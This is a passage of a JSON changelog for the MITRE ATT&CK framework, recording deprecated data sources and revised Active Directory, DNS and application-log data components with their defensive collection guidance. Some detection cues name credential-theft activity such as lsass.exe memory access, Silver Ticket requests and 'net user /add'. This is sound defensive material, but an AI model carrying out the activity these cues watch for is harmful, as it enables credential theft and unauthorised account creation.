(n.d.). Azure Blob Storage. Retrieved November 17, 2024.", + "url": "https://azure.microsoft.com/en-us/products/storage/blobs/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Volume", + "description": "Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2024-11-17 19:42:50.490000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0005", + "external_id": "DS0005" + }, + { + "source_name": "Microsoft WMI System Classes", + "description": "Microsoft. (2018, May 31). WMI System Classes. Retrieved September 29, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-system-classes" + }, + { + "source_name": "Microsoft WMI Architecture", + "description": "Microsoft. (2018, May 31). WMI Architecture. Retrieved September 29, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "WMI", + "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:56.995000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0006", + "external_id": "DS0006" + }, + { + "source_name": "Medium Authentication Tokens", + "description": "Hsu, S. (2018, June 30). Session vs Token Based Authentication. Retrieved September 29, 2021.", + "url": "https://medium.com/@sherryhsu/session-vs-token-based-authentication-11a6c5ac45e4" + }, + { + "source_name": "Auth0 Access Tokens", + "description": "Auth0. (n.d.). Access Tokens. Retrieved September 29, 2021.", + "url": "https://auth0.com/docs/tokens/access-tokens" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Web Credential", + "description": "Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:51.076000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0024", + "external_id": "DS0024" + }, + { + "source_name": "Microsoft Registry", + "description": "Microsoft. (2018, May 31). Registry. Retrieved September 29, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry", + "description": "A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:05.783000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + } + ], + "deletions": [] + }, + "datacomponents": { + "additions": [], + "major_version_changes": [ + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0103", + "external_id": "DC0103" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Active DNS", + "description": "\"Domain Name: Active DNS\" data component captures queried DNS registry data that highlights current domain-to-IP address resolutions. This data includes both direct queries to DNS servers and records that provide mappings between domain names and associated IP addresses. It serves as a critical resource for tracking active infrastructure and understanding the network footprint of an organization or adversary. Examples: \n\n- DNS Query Example: `nslookup example.com`, `dig example.com A`\n- PTR Record Example: `dig -x 192.168.1.1`\n- Tracking Malicious Domains: DNS logs reveal repeated queries to suspicious domains like malicious-site.com. The IPs resolved by these domains may be indicators of compromise (IOCs).\n- DNS Record Types\n - A/AAAA Record: Maps domain names to IP addresses (IPv4/IPv6).\n - CNAME Record: Canonical name records, often used for redirects.\n - MX Record: Mail exchange records, used to route emails.\n - TXT Record: Can include security information like SPF or DKIM policies.\n - SOA Record: Start of authority record for domain management.\n - NS Record: Lists authoritative name servers for the domain.\n\nThis data component can be collected through the following measures:\n\n- System Utilities: Use built-in tools like `nslookup`, `dig`, or host on Linux, macOS, and Windows to perform active DNS queries.\n- DNS Logging\n - Windows DNS Server: Enable DNS Analytical Logging to capture DNS queries and responses.\n - Bind DNS: Enable query logging in the named.conf file.\n- Cloud Provider DNS Logging\n - AWS Route 53: Enable query logging through CloudWatch or S3:\n - Google Cloud DNS: Enable logging for Cloud DNS queries through Google Cloud Logging.\n- Network Traffic Monitoring: Use tools like Wireshark or Zeek to analyze DNS queries within network traffic.\n- Security Information and Event Management (SIEM) Integration: Aggregate DNS logs in a SIEM like Splunk to create alerts and monitor patterns.\n- Public OSINT Tools: Use OSINT platforms like VirusTotal, or PassiveTotal to collect information on domains and their associated IP addresses.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Domain Name", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0103\", \"external_id\": \"DC0103\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Domain Name\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:16:37.830000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-22 18:41:09.269000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0084", + "external_id": "DC0084" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Active Directory Credential Request", + "description": "Requests for authentication credentials via Kerberos or other methods like NTLM and LDAP queries. Examples:\n\n- Kerberos TGT and Service Tickets (Event IDs 4768, 4769)\n- NTLM Authentication Events\n- LDAP Bind Requests\n\n*Data Collection Measures:*\n\n- Security Event Logging:\n - Enable \"`Audit Kerberos Authentication Service`\" or \"`Audit Kerberos Service Ticket Operations`.\"\n - Captured Events: IDs 4768, 4769, 4624.\n- Windows Event Forwarding (WEF): Forward domain controller logs to SIEM.\n- SIEM Integration: Use tools like Splunk or Azure Sentinel for log analysis.\n- Kerberos Debug Logging:\n - Registry Key: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Kerberos\\Parameters.\n - Set DWORD LogLevel to 1.\n- Azure AD Logs: Monitor Sign-In Logs for authentication and policy issues.\n- Enable EDR Monitoring:\n - Use EDR to detect suspicious processes querying authentication mechanisms (e.g., lsass.exe memory access).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "EventCode=4768" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4769" + }, + { + "name": "WinEventLog:Kerberos", + "channel": "Kerberos TGS-REQ anomalies without KDC validation (Silver Ticket behavior)" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4929" + }, + { + "name": "linux:syslog", + "channel": "Unusual kinit or klist activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0084\", \"external_id\": \"DC0084\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4768\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4769\"}, {\"name\": \"WinEventLog:Kerberos\", \"channel\": \"Kerberos TGS-REQ anomalies without KDC validation (Silver Ticket behavior)\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4929\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unusual kinit or klist activity\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 18:41:09.269000+00:00\", \"old_value\": \"2025-04-18 15:14:14.586000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:35.607000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0071", + "external_id": "DC0071" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Active Directory Object Access", + "description": "Object access refers to activities where AD objects (e.g., user accounts, groups, policies) are accessed or queried. Example: Windows Event ID 4661 logs object access attempts. Examples:\n\n- Attribute Access: e.g., `userPassword`, `memberOf`, `securityDescriptor`.\n- Group Enumeration: Enumerating critical group members (e.g., Domain Admins).\n- User Attributes: Commonly accessed attributes like `samAccountName`, `lastLogonTimestamp`.\n- Policy Access: Accessing GPOs to understand security settings.\n\n*Data Collection Measures:*\n\n- Audit Policies:\n - Enable \"Audit Directory Service Access\" under Advanced Audit Policies (Success and Failure).\n - Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Object AccessEnable: Audit Directory Service Access` (Success and Failure).\n - Captured Events: IDs 4661, 4662.\n- Event Forwarding: Use WEF to centralize logs for SIEM analysis.\n- SIEM Integration: Collect and parse logs (e.g., 4661, 4662) using tools like Splunk or Azure Sentinel.\n- Log Filtering:\n- Focus on sensitive objects/attributes like:\n - `Domain Admins` group.\n - `userPassword`, `ntSecurityDescriptor`.\n- Enable EDR Monitoring:\n - Detect processes accessing sensitive AD objects (e.g., samAccountName, securityDescriptor).\n - Log all attempts to enumerate critical groups (e.g., \"Domain Admins\").", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "EventCode=4662" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4661" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0071\", \"external_id\": \"DC0071\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4662\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4661\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.607000+00:00\", \"old_value\": \"2025-04-18 15:14:08.230000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:36.803000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0087", + "external_id": "DC0087" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Active Directory Object Creation", + "description": "Creating new objects in AD, such as user accounts, groups, organizational units (OUs), or trust relationships. Logged as Event ID 5137. Examples:\n\n- User Account Creation: New user account.\n- Group Creation: New security/distribution group.\n- OU Creation: New organizational unit.\n- Service Account Creation: New service account for automation or malicious tasks.\n- Trust Object Creation: Trust relationship with another domain.\n\n*Data Collection Measures:*\n\n- Audit Policy:\n - Enable \"Audit Directory Service Changes\" (Success and Failure).\n - Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Directory Service Changes`.\n - Key Event: Event ID 5137 (object creation).\n- Log Forwarding: Use WEF to centralize logs for SIEM tools (e.g., Splunk).\n- Enable EDR Monitoring:\n - Track processes that create new accounts or modify AD objects.\n - Correlate object creation with suspicious commands (e.g., net user /add).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "azure:audit", + "channel": "New device object creation" + }, + { + "name": "WinEventLog:Security", + "channel": "Device Object Creation" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4928" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0087\", \"external_id\": \"DC0087\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"azure:audit\", \"channel\": \"New device object creation\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"Device Object Creation\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4928\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.803000+00:00\", \"old_value\": \"2025-04-18 15:14:20.946000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9085a576-636a-455b-91d2-c2921bbe6d1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:40.681000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0068", + "external_id": "DC0068" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Active Directory Object Deletion", + "description": "Object deletion in AD (e.g., user accounts, groups, OUs) is logged as Event ID 5141. Examples:\n\n- User Account: Deleted user.\n- Group: Deleted security/distribution group.\n- Organizational Unit (OU): Loss of configurations or policies.\n- Service Account: Disrupted operations or cover tracks.\n- Trust Object: Removed domain trust, disrupting connectivity.\n\n*Data Collection Measures:*\n\n- Audit Policy:\n - Enable \"Audit Directory Service Changes\" (Success and Failure).\n - Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Directory Service Changes`.\n - Key Event: Event ID 5141.\n- Log Forwarding: Use WEF to centralize logs for SIEM tools (e.g., Splunk).\n- Enable EDR Monitoring:\n - Detect processes or users that initiate unauthorized object deletions.\n - Monitor tools and scripts that may delete key directory objects.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:DirectoryService", + "channel": "EventCode=4929" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0068\", \"external_id\": \"DC0068\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:DirectoryService\", \"channel\": \"EventCode=4929\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.681000+00:00\", \"old_value\": \"2025-04-18 15:14:17.768000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-22 18:42:57.886000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0066", + "external_id": "DC0066" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Active Directory Object Modification", + "description": "Changes to AD objects (e.g., users, groups, OUs) are logged as Event ID 5136 (Object Modification) or 5163 (Attribute Changes). Examples:\n\n- User Account: Modifying attributes (e.g., group membership, enabling/disabling accounts).\n- Group Membership: Adding/removing members.\n- OU: Changing properties/permissions (e.g., delegation).\n- Service Account: Modifying SPNs or other attributes.\n- Object Attributes: Changes to passwords, logon hours, or control flags.\n\n*Data Collection Measures:*\n\n- Audit Policy:\n - Enable \"Audit Directory Service Changes\" (Success and Failure).\n - Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Directory Service Changes`.\n - Key Events: 5136 (modifications), 5163 (attribute changes).\n- Log Forwarding:\n - Use WEF to centralize logs for SIEM.\n - Parse logs to extract: Object Name, Attribute Changed, Initiator Account Name.\n- Enable EDR Monitoring:\n - Detect changes to critical attributes (e.g., memberOf, logonHours).\n - Track processes modifying directory service objects (e.g., Set-ADUser or dsmod).\n- Enable EDR Monitoring:\n - Detect changes to critical attributes (e.g., memberOf, logonHours).\n - Track processes modifying directory service objects (e.g., Set-ADUser or dsmod).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "azure:activity", + "channel": "Update conditionalAccessPolicy" + }, + { + "name": "esxi:vpxa", + "channel": "vim.SessionManager.login / vim.AccountManager.createUser" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5136" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4739" + }, + { + "name": "azure:SigninLogs", + "channel": "Add certificate credential, Update certificate credential" + }, + { + "name": "m365:dirsync", + "channel": "Replication cookie changes involving Configuration partition with new server/nTDSDSA objects." + }, + { + "name": "WinEventLog:DirectoryService", + "channel": "EventCode=5136" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "esxi:vpxd", + "channel": "permission change operations on datastores or VMs" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, Set-AppPassword, Add-MailboxPermission" + }, + { + "name": "m365:unified", + "channel": "Add app role assignment grant to user: Consent to application by privileged or unexpected accounts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0066\", \"external_id\": \"DC0066\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"azure:activity\", \"channel\": \"Update conditionalAccessPolicy\"}, {\"name\": \"esxi:vpxa\", \"channel\": \"vim.SessionManager.login / vim.AccountManager.createUser\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5136\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4739\"}, {\"name\": \"azure:SigninLogs\", \"channel\": \"Add certificate credential, Update certificate credential\"}, {\"name\": \"m365:dirsync\", \"channel\": \"Replication cookie changes involving Configuration partition with new server/nTDSDSA objects.\"}, {\"name\": \"WinEventLog:DirectoryService\", \"channel\": \"EventCode=5136\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"permission change operations on datastores or VMs\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, Set-AppPassword, Add-MailboxPermission\"}, {\"name\": \"m365:unified\", \"channel\": \"Add app role assignment grant to user: Consent to application by privileged or unexpected accounts\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 18:42:57.886000+00:00\", \"old_value\": \"2025-04-18 15:14:11.376000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.580000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0038", + "external_id": "DC0038" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Log Content", + "description": "Application Log Content refers to logs generated by applications or services, providing a record of their activity. These logs may include metrics, errors, performance data, and operational alerts from web, mail, or other applications. These logs are vital for monitoring application behavior and detecting malicious activities or anomalies. Examples: \n\n- Web Application Logs: These logs include information about requests, responses, errors, and security events (e.g., unauthorized access attempts).\n- Email Application Logs: Logs contain metadata about emails sent, received, or blocked (e.g., sender/receiver addresses, message IDs).\n- SaaS Application Logs: Activity logs include user logins, configuration changes, and access to sensitive resources.\n- Cloud Application Logs: Logs detail control plane activities, including API calls, instance modifications, and network changes.\n- System/Application Monitoring Logs: Logs provide insights into application performance, errors, and anomalies.\n\nThis data component can be collected through the following measures:\n\nConfigure Application Logging\n\n- Enable logging within the application or service.\n- Examples:\n - Web Servers: Enable access and error logs in NGINX or Apache.\n - Email Systems: Enable audit logging in Microsoft Exchange or Gmail.\n\nCentralized Log Management\n\n- Use log management solutions like Splunk, or a cloud-native logging solution.\n- Configure the application to send logs to a centralized system for analysis.\n\nCloud-Specific Collection\n\n- Use services like AWS CloudWatch, Azure Monitor, or Google Cloud Operations Suite for cloud-based applications.\n- Ensure logging is enabled for all critical resources (e.g., API calls, IAM changes).\n\nSIEM Integration\n\n- Integrate application logs with a SIEM platform (e.g., Splunk, QRadar) for real-time correlation and analysis.\n- Use parsers to standardize log formats and extract key fields like timestamps, user IDs, and error codes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Application Log", + "channel": "None" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook errors loading or processing custom form templates" + }, + { + "name": "m365:unified", + "channel": "Unusual form activity within Outlook client, including load of non-default forms" + }, + { + "name": "saas:okta", + "channel": "Conditional Access policy rule modified or MFA requirement disabled" + }, + { + "name": 